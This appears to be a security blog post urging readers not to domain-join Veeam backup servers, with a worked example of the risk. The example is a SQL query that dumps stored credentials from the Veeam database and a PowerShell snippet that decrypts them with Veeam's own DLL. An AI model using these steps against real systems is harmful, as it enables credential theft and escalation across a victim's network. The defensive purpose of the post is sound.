



DEFENSE

Firstly before we get into recovering passwords from the veeam servers we have to think why is this technique so important to know?

It's not what you think, so if you are a red teamer/penetration tester then sure you are going to want to know this to support your goals. But the real value in knowing this is to drive home a specific message.

DO NOT (PRODUCTION) DOMAIN JOIN BACKUP SERVERS

Veeam explicitly supports not being on a domain for this very reason. Why Dan? Why is it so important to not (PRODUCTION) domain join them? Well my friends, if a threat actor gets into your network, gains high privilege access to active directory and gets onto your veeam server they will probably disrupt and destroy your backup just prior to ransoming everything they can. You do not want this!

So if you aren't sure, hell even if you are sure go and check your backup servers are not domain joined and that access to the admin interfaces is hardened! Excellent now onto the fun part:

From admin of one to admin of everything

Now you have admin rights on the veeam database server you will be able to dump the stored credentials:

From SQL management studio (of any SQL management interface access method) run the following against the veeam management database:

```
SELECT TOP (1000) [id]

,[user_name]

,[password]

,[usn]

,[description]

,[visible]

,[change_time_utc]

FROM [VeeamBackup].[dbo].[Credentials]
```

This will dump the password hashes. Copy them and then run a PowerShell interface (I use ISE if I'm connected via RDP etc.)

```
Add-Type -Path "C:\Program Files\Veeam\Backup and Replication\Backup\Veeam.Backup.Common.dll"

$encoded = 'INSERT_HASH_HERE'

[Veeam.Backup.Common.ProtectedStorage]::GetLocalString($encoded)
```

NOW we are going to load the veeam DLL and we are going to call the protected storage function GetLocalString

This will use the local machine key (hence you need administator rights) to decrypt the hashes.

This can be useful in system administration and offensive security testing endeavours.

So there we have it, don't have domain joined backup servers but also recognise that if you do or a threat actor get access to this server then you are going to be in a tricky position. So include the scenario in your threat model.


Stay safe!

EDIT: There are clearly reasons to use a workgroup or dediatted managment domain. Veeam have these listed here: [https://bp.veeam.com/vbr/VBP/Security/Security\\_domains.html](https://bp.veeam.com/vbr/VBP/Security/Security_domains.html)

Thanks to [@ConanUnofficial](#) for pointing out I wasn't very clear on this in my first publish.

My key points is around ensuring compromise of one environment (e.g. production) does not lead to compromise of your backup environment. I would also want to see the data going offsite and again you will want security boundaries there so compromise on the backup local backup environment does not allow for compromise of the remote backups.

[◀ Aggressively Defending Information Systems](#) [Password Managers – The Good the Bad and the Ugly ▶](#)

 active directory backup BCRS cyber domain DR Hacking Security veeam

## Related articles



- Hunting for common Active Directory...
- The Manual Version 2.0
- Mobile Device Analysis

## Leave a Reply

You must be **logged in** to post a comment.

